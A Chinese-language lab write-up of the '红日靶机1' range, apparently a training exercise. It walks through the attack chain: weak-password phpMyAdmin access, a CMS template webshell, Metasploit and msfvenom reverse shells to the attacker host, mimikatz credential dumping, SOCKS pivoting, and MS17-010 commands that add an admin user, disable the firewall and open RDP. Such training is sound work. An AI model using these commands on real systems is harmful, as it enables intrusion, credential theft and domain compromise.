红日靶机1
靶场环境

使用kali攻击web服务器,然后根据web服务器攻击其他域内的机器

这里很明确kali是攻击机,外网机器,局域网中的win7是web服务器,有2个网卡,通内网和外网,2k3以及2008r2是内网机器,不出网,其中一个是域控制器,也不出网,3个机器一起做内网。
这里简单的说一下:这里使用2个网卡,一个为nat 一个为仅主机,模拟内网和外网,做到内外网隔离IP地址分别为:kali:192.168.12.20win7:192.168.12.27(作为外网,这里有web服务的,通过web服务getshell) 10.10.10.14(这个网卡做内网)win2k3:10.10.10.112008r2(域控):10.10.10.12
ip配置图:
- 这里使用12网段,使用nat模式,可以和宿主机通信,这里也可以使用桥接模式,根据自己喜好来吧!我更喜欢使用NAT
- 这里是我配置的模拟外网的ip
ip配置图:
- 这里使用10网段,使用仅主机模式,切记讲主机适配器连接到此网络去掉,这样才能更好的模拟内网环境
- 这里是我模拟的内网的ip
说一下它们的关系!
win7与3个都通信

kali不能同win7,但是主机发现有win7,说明win7这里防火墙拒绝icmp协议,两个内网主机可以互相通信,但是不能与win7通信,说明这里成功的做到了内外网隔离,也就是说,后续我们可以直接访问到内网机器的时候就是成功了。


这里kali与域内的两个机器08r2以及win2k3是不能通信的,并且网络发现是找不到的!(也就是说只能通过外部web信息收集打点,一步一步将内网的2台机器渗透出来,后续会讲到)
-
思路开始!
-
主机发现
-
使用arp-scan以及netdiscover进行主机发现
# arp-scan -l
# netdiscover -r 192.168.12.0/24

这里也是很明显我们发现了
-
端口探测
-
这里我们nmap扫描发现开放服务
nmap -sS -T5 192.168.12.27 -p0-
nmap -Pn -T5 192.168.12.27 -p0- 这里使用半开扫描和无ping扫描都行,因为icmp协议不成功,所以可以使用无ping,这里其实还可以使用全扫描sT,我试过结果都一样的,各位师傅可以尝试一下。

漏洞利用
这里发现有一个80的端口且是http服务,所以我们可以去访问看一下

- 这里能找到绝对路径

这里有一个mysql连接监测,其实这里就应该有一种思路
-
首先我们可以尝试使用弱密码登录试试
第一种思路

第一次测试了admin admin 是错误的,使用root root 显示正常,所以这里就得到了账号密码就是root root

但是这里使用navicat尝试连接数据库的时候说网关不允许连接,这里猜想应该是防火墙的问题!或者是数据库没有远程登录的权限
-
另一方面应该会想到既然有sql的数据库,那就应该是会有后台登录的界面(其实事实证明我们的猜想是正确的的)
第二种思路
使用nikto 或者dirb 御剑 dirsearch等目录探测工具进行目录探测
nikto -host http://192.168.12.27
dirb http://192.168.12.27



这里目录扫描发现了存在一个phpmyadmin登陆后台
我们可以访问一下

我们发现使用root:root可以登陆成功!
这里我们发现了一个newyxcms的表,我们可以去访问

这里是一个ymcms,这里是有可以利用的漏洞的

这里我们找到了一些敏感信息

成功的登陆进去


登录进来,我猜测这里应该是有可以利用的漏洞的,发现了一这里有一个模板,使用的都是php的代码,那么我们可以尝试着写一个webshell来进行反弹

但是这里就出现一个问题,我们并不知道它的路径在哪里,所以我们需要去找
因为是一个cms 我们通过百度查询找到了它的php文件的路径\yxcms\protected\apps\default\view\default

我们直接写入一个一句话,然后使用冰蝎连接,然后可以结合msf反弹shell

- 这里使用REQUEST传参传一个cmd可以来执行命令,从而判断我们是否写入成功

这里是我们的路径,可以看到是没有内容的,我们可以用cmd传一个phpinfo来判断
http://192.168.12.27/yxcms/protected/apps/default/view/default/info.php?cmd=phpinfo();
这里再次解释一下,因为刚刚一句话写的REQUEST用cmd传,所以这里用?cmd=phpinfo; 来传入


(其实这里也可以用冰蝎做一个shell然后用冰蝎来上线msf)
这里我们一起来看使用冰蝎的过程

先用冰蝎生成一个webshell

将这个写入到模板中

(这里可以写入一个新的php文件也可以插入原有的php文件中)


http://192.168.12.27/yxcms/protected/apps/default/view/default/bingxie.php
这里跟蚁剑的思路一样,找到php的路径即可,之后我们可以尝试连接了

这里是使用base64,跟之前的一样

成功连接
这里我们可以先上线msf或者cs,或者msf和cs联动,后续在进行信息收集
这里我们上线msf即可
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.12.20 lhost => 192.168.12.20
msf6 exploit(multi/handler) > set lport 4444 lport => 4444
msf6 exploit(multi/handler) > run 使用msf监听本地的4444端口

冰蝎这里直接连接kali的4444即可

- 这里上线cs也是一样,但是cs的话需要jdk的版本与冰蝎的版本一致才可

这里一点给我连,msf直接就上线了,可见很成功!
内网嗅探
内网主机发现
- 接着我们就可以进行一些信息收集了

命令终端使用ipconfig 发现有2个ip一个是12.27 还有一个10网段的内网ip,所以我们需要收集内网的其他的主机
我们会发现他的dns后缀是一个localdomain 本地域,所以这里应该是有域环境的,所以需要我们进行信息收集
ipconfig /all # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net user /domain # 查看域用户
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)3
net time /domain #同步与控服务器时间

- 这里有OWA ROOT-TVI862UBEH STU1 三个用户 所以还有2个主机

- 这里可以查看计算机的工作站、域、登录域

- 这里查询主机是否加入域

这里不知道为什么会出现这种情况说域控制器找不到

而且这里只要是关于域控的一些内容全部都找不到,我猜测可能是我搭建的环境的问题
那么我们可以通过ping命令来找到其他的机器的ip地址,也可以使用msf做内网路由然后使用arp扫描来发现ip地址
- 由于我们找到了3个主机的名称,通过ping看看能不能找到ip地址
ping ROOT-TVI862UBEH
ping OWA
ping STU1

这里找了ip为11

这里找了个ipv6.。。。。。

这里对比发现,我们stu就是现在机器的名称
这里也就是说 stu 是10.10.10.14
ROOT-TVI862UBEH是10.10.10.11
OWA是这个ipv6,可是不知道ipv4

- 这里又ping猜测了一下,发现owa的找不到,判断应该为域控,可是并不知道ip
通过我们的信息收集我们发现:这里域环境为GOD
该域名为god.org,域控为OWA$,域管理员为Administrator


-
反弹shell
- 可是这里由于是php得到的反弹shell,权限不足,只能执行一些命令,却是不能够导入mimikatz这些模块, 所以我们使用msfvenom来生成一个windows的应用程序来反弹shell,这样的话权限会更大
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.12.20 lport=4445 -f exe -o /root/heike.exe

- 将这个exe传入并且执行,使用刚刚连接的php的meterpreter传入即可,使用msf监听4445端口即可

upload /root/heike.exe c://windows//temp//


直接用冰蝎执行即可


这里成功弹上

(这里我们可以看到,使用windows的弹上来比php的权限更大)

这里我们得到msf管理员的权限以后可以导入mimikatz这个模块,获取域内的哈希
meterpreter > load winpmem kiwi
meterpreter > help


域内信息收集
meterpreter > creds_kerberos
这里就将域内的用户名密码拿下

这里可以使用hashdum来得到用户哈西
哈西格式为:
用户名:SID:LM哈希:NTLM哈希:::
得到三个账号 Administrator、Guest、liukaifeng01

但是他们的哈西是空密码

这是因为当系统为win10或2012R2以上时,默认在内存缓存中禁止保存明文密码,密码字段显示为null,需要修改注册表等用户重新登录后才能成功抓取。
内网横向攻击
接着我们来对内网的机器进行探测,找到域控的ip
使用msf+proxychains搭建socks隧道,来对内网的机器进行嗅探
- 因为刚刚我们发现其内网是10.10.10.网段,所以这里我们的路由指向10网段
run autoroute -s 10.10.0/24
run autorote -p

- 这样就知道了去内网的方向
- 这样我们可以找到域控的ip地址了
meterpreter > run post/windows/gather/arp_scanner
RHOSTs=10.10.10.0/24 (这里强调一下,需要在我们添加路由以后,然后利用后渗透模块汇总的arp发现这个模块,来探测内网中存活的主机)

这里发现了域控的ip地址
前面已经确定了stu的ip是10.10.10.14、ROOT-TVI862UBEH是10.10.10.11、而这里也知道了OWA的ip是10.10.10.12
- 我们需要使用msf打开socks代理,然后用msf走socks代理来扫描内网的两个ip地址所开的端口
use auxiliary/server/socks_proxy 使用这个模块
将端口改为1111 地址为本地127 使用socks5代理,具体设置方法都一样,这里不做过多截图了

- 通过jobs命令可以看到当前运行的socks代理

- 这里还能使用netstat来查看端口是否开放,具体的用法各位师傅可以去找一找看

接着我们就可以使用使用本地的1111端口来启用socks隧道,去访问它的内网了!!!
vim /etc/proxychains4.conf(这个是kali里面的socks隧道的配置文件)
在最后输入ip和端口即可

这里我们可以使用proxychains来走socks代理
使用proxychains curl http://10.10.10.14来判断是否socks隧道搭建成功(这里稍微解释一下,因为10.10.10.14是192.168.12.27的那台机器的另一块网卡,正常情况我们直接访问是看不到的,所以这里使用socks隧道来访问,可以看到结果是ok,说明socks隧道搭建成功,因为在msf里面开起来socks隧道,且有路由,所以这里是可以知道10.10.10.14的!!!)

域内主机端口探测
这里使用msf的端口扫描模块对内网资产进行端口扫描
auxiliary/scanner/portscan/tcp使用这个模块
option中的参数 改ip为资产ip 端口为22,80,135,443,445,3389
设置为常用端口就好了,因为是实验环境,真实环境最好全端口扫描,但是线程别太大

14的

12的

14这个机器我们已经通过web打点那些,12是域控,11是另一台域内机器,所以我们先对11动手
11这里开放了445和135端口
域内主机漏洞利用
- 445先用永恒之蓝试一下看看

这里探测到可以使用ms17-010,那我们攻击一下试试
- 这里需要该个9999端口因为4444被用过了

- 但是这里使用445 ms17-010不能成功

- 那我们试试445的ms17_010_command这个

- 这里我们看到使用net user结果是成功的

那么这里我们就可以利用这个漏洞讲3389打开,然后创建用户登录即可
使用的命令:
set command net user aaa abce@1234 /add (创建一个用户,这里是有一个密码的限制的,所以使用一个复杂的密码,要不然创建不成功的)
set command net localgroup administrators aaa /add (将这个用户加入到管理员中)
set command netsh advfirewall set allprofiles state off (关闭防火墙)
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' (打开3389端口)




- 到此为止我们将3389打开了,然后还创建了用户,所以我们可以登录
拿下域内主机
这里使用proxychains rdesktop 10.10.10.11

这里要登录用户,不能登录域

登陆成功

- 但是这里应该是属于个人用户,而并非是域内用户

- 这里说明一下,在攻击域控的时候用上面的445不成功,永恒之蓝跟command都不能成功,这里就不给图了,直接换一种思路(但是我看有的师傅说可以成功,这里也可能是我的环境配置问题,反正我是没成功)
回到msf中用kiwi模块中的命令我们找到了账号密码

net use \\10.10.10.12\c$ "********":"administrator'


这里只能到这里,本来想着用msf代理去上线,可是试了很多次都没能成功,只有转到cs来尝试了,后续在出一个cs的教程,还在持续的更新中!(文章尽我所能,能想到的都写了,希望对各位师傅有帮助吧!)
相关文章:
红日靶机1
靶场环境 使用kali攻击web服务器,然后根据web服务器攻击其他域内的机器 这里很明确kali是攻击机,外网机器,局域网中的win7是web服务器,有2个网卡,通内网和外网,2k3以及2008r2是内网机器,不出网&…...
Windows电脑PC使用adb有线跟无线安装apk包
在Android开发中,经常需要使用ADB(Android Debug Bridge)来安装APK包到Android设备上,无论是通过有线连接还是无线连接。以下将分别介绍如何通过有线和无线方式使用ADB安装APK包。 有线连接安装APK 启用开发者选项和USB调试&…...
如何把harmonos项目修改为openharmony项目
一开始分不清harmonyos和openharmony,在harmonyos直接下载的开发软件,后面发现不对劲,打脑阔 首先你要安装对应版本的开发软件,鸿蒙开发是由harmonyos和openharmony官网两个的,找到对应的地方下载对应版本的开发软件&…...
【QT】Qt智能指针QPointer、QSharedPointer、QWeakPointer、QScopedPointer
QPointer QPointer can only point to QObject instances. It will be automatically set to nullptr if the pointed to object is destroyed. It is a weak pointer specialized for QObject. QPointer只能指向QObject实例。如果指向的对象被销毁,它将自动设置为 …...
设计模式探索:建造者模式
1. 什么是建造者模式 建造者模式 (Builder Pattern),也被称为生成器模式,是一种创建型设计模式。 定义:将一个复杂对象的构建与表示分离,使得同样的构建过程可以创建不同的表示。 建造者模式要解决的问题: 建造者模…...
[Go] 字符串遍历数据类型问题
字符串遍历问题 在使用for i,v:range str遍历字符串时 str[i]是unit8(byte)类型,返回的是单个字节 字符串在Go中是以字节序列的形式存储的,而 str[i] 直接访问了这个字节序列中的第 i 个字节。如果字符串中的字符是单字节的ASCII…...
HJ41 称砝码
HJ41 称砝码 提示:文章 文章目录 前言一、背景二、 2.1 2.2 总结 前言 前期疑问: 本文目标: 一、背景 这个题目之前是没有做出来的,我把之前没做出来的代码也记录一下 二、 2.1 之前的代码 #include <stdio.h>int m…...
如何使用Python脚本实现SSH登录
调试IDE:PyCharm Python库:Paramiko 首先安装Paramiko包到PyCharm,具体步骤为:在打开的PyCharm工具中,选择顶部菜单栏中“File”下的“Settings”,在设置对话框中,选择“Project”下的“Proje…...
2024年文化研究与数字媒体国际会议 (CRDM 2024)
2024年文化研究与数字媒体国际会议 (CRDM 2024) 2024 International Conference on Cultural Research and Digital Media 【重要信息】 大会地点:珠海 大会官网:http://www.iccrdm.com 投稿邮箱:iccrdmsub-conf.com 【注意:稿将…...
14-52 剑和诗人26 - RAG 和 VectorDB 简介
检索增强生成 (RAG) 和 VectorDB 是自然语言处理 (NLP) 中的两个重要概念,它们正在突破 AI 系统所能实现的界限。 在这篇博文中,我将深入探讨 RAG,探索其工作原理、应用、优势和局限性。 我们还将研究 VectorDB,这是一种专用于向…...
如果MySQL出现 “Too many connections“ 错误,该如何解决?
当你想要连接MySQL时出现"Too many connections" 报错的情况下,该如何解决才能如愿以偿呢?都是哥们儿,就教你两招吧! 1.不想重启数据库的情况下 你可以尝试采取以下方法来解决: 增加连接数限制:…...
论文阅读:Rethinking Interpretability in the Era of Large Language Models
Rethinking Interpretability in the Era of Large Language Models 《Rethinking Interpretability in the Era of Large Language Models》由Chandan Singh、Jeevana Priya Inala、Michel Galley、Rich Caruana和Jianfeng Gao撰写,探讨了在大型语言模型ÿ…...
C++/Qt 信号槽机制详解
文章目录 C++/Qt 信号槽机制详解一、信号和槽的基本概念1. 信号2. 槽3. 连接二、信号和槽的基本使用1. 信号和槽的声明和定义2. 连接信号和槽三、信号和槽的工作原理1. MOC(Meta-Object Compiler)2. 事件循环3. 连接类型四、信号和槽的高级应用1. 自定义信号和槽2. Lambda 表…...
duplicate key value violates unique constraint
duplicate key value violates unique constraint 遇到的问题 你在尝试向数据库表 goods 插入新记录时,收到了 duplicate key value violates unique constraint 的错误。尽管你确认数据库中没有与尝试插入的 id 相同的记录,但错误依旧存在。进一步的调…...
YOLOv10改进 | EIoU、SIoU、WIoU、DIoU、FocusIoU等二十余种损失函数
一、本文介绍 这篇文章介绍了YOLOv10的重大改进,特别是在损失函数方面的创新。它不仅包括了多种IoU损失函数的改进和变体,如SIoU、WIoU、GIoU、DIoU、EIOU、CIoU,还融合了“Focus”思想,创造了一系列新的损失函数。这些组合形式的…...
docker nginx mysql redis
启动没有数据卷的nginx docker run -d -p 86:80 --name my-nginx nginx把/etc/nginx中的配置复制到宿主机 docker cp my-nginx:/etc/nginx /home/nginxlkl把/html 中的文件复制到宿主机 docker cp my-nginx:/etc/nginx /home/nginxlkl删除当前镜像 docker rm -f my-nginx重新起…...
Linux系统(CentOS)安装iptables防火墙
1,先检查是否安装了iptables 检查安装文件-执行命令:rpm -qa|grep iptables 检查安装文件-执行命令:service iptables status 2,如果安装了就卸装(iptables-1.4.21-35.el7.x86_64 是上面命令查出来的版本) 执行命令:…...
华为的服务器创新之路
华为作为全球领先的信息与通信技术解决方案供应商,其在服务器领域的创新方法不仅推动了企业自身的发展,也为整个行业的进步做出了重要贡献。以下是华为在服务器领域所采取的一些关键创新方法: 芯片级的自主创新 华为通过自主研发的“鲲鹏”处…...
对比service now和salesforce
目录 1. 核心功能和用途 2. 市场定位 3. 平台和扩展性 4. 用户界面和用户体验 5. 价格 总结 ServiceNow和Salesforce是两款广泛使用的企业软件平台,但它们的侧重点和用途有所不同。以下是对它们的详细比较: 1. 核心功能和用途 ServiceNow IT服务…...
树状数组
树状数组 树状数组的核心思想:分治。将数组以二叉树的形式进行维护区间之和。 设 a a a为原数组, t r e e tree tree为树状数组。 t r e e tree tree数组用于存储树上该结点下严格直连的子节点之和(例: t [ 1 ] a [ 1 ] , t [ 2 ] t [ 1 …...
Cesium1.95中高性能加载1500个点
一、基本方式: 图标使用.png比.svg性能要好 <template><div id"cesiumContainer"></div><div class"toolbar"><button id"resetButton">重新生成点</button><span id"countDisplay&qu…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...
java调用dll出现unsatisfiedLinkError以及JNA和JNI的区别
UnsatisfiedLinkError 在对接硬件设备中,我们会遇到使用 java 调用 dll文件 的情况,此时大概率出现UnsatisfiedLinkError链接错误,原因可能有如下几种 类名错误包名错误方法名参数错误使用 JNI 协议调用,结果 dll 未实现 JNI 协…...
为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?
在建筑行业,项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升,传统的管理模式已经难以满足现代工程的需求。过去,许多企业依赖手工记录、口头沟通和分散的信息管理,导致效率低下、成本失控、风险频发。例如&#…...
Java - Mysql数据类型对应
Mysql数据类型java数据类型备注整型INT/INTEGERint / java.lang.Integer–BIGINTlong/java.lang.Long–––浮点型FLOATfloat/java.lang.FloatDOUBLEdouble/java.lang.Double–DECIMAL/NUMERICjava.math.BigDecimal字符串型CHARjava.lang.String固定长度字符串VARCHARjava.lang…...
TRS收益互换:跨境资本流动的金融创新工具与系统化解决方案
一、TRS收益互换的本质与业务逻辑 (一)概念解析 TRS(Total Return Swap)收益互换是一种金融衍生工具,指交易双方约定在未来一定期限内,基于特定资产或指数的表现进行现金流交换的协议。其核心特征包括&am…...
Maven 概述、安装、配置、仓库、私服详解
目录 1、Maven 概述 1.1 Maven 的定义 1.2 Maven 解决的问题 1.3 Maven 的核心特性与优势 2、Maven 安装 2.1 下载 Maven 2.2 安装配置 Maven 2.3 测试安装 2.4 修改 Maven 本地仓库的默认路径 3、Maven 配置 3.1 配置本地仓库 3.2 配置 JDK 3.3 IDEA 配置本地 Ma…...
MySQL账号权限管理指南:安全创建账户与精细授权技巧
在MySQL数据库管理中,合理创建用户账号并分配精确权限是保障数据安全的核心环节。直接使用root账号进行所有操作不仅危险且难以审计操作行为。今天我们来全面解析MySQL账号创建与权限分配的专业方法。 一、为何需要创建独立账号? 最小权限原则…...
Webpack性能优化:构建速度与体积优化策略
一、构建速度优化 1、升级Webpack和Node.js 优化效果:Webpack 4比Webpack 3构建时间降低60%-98%。原因: V8引擎优化(for of替代forEach、Map/Set替代Object)。默认使用更快的md4哈希算法。AST直接从Loa…...
【网络安全】开源系统getshell漏洞挖掘
审计过程: 在入口文件admin/index.php中: 用户可以通过m,c,a等参数控制加载的文件和方法,在app/system/entrance.php中存在重点代码: 当M_TYPE system并且M_MODULE include时,会设置常量PATH_OWN_FILE为PATH_APP.M_T…...
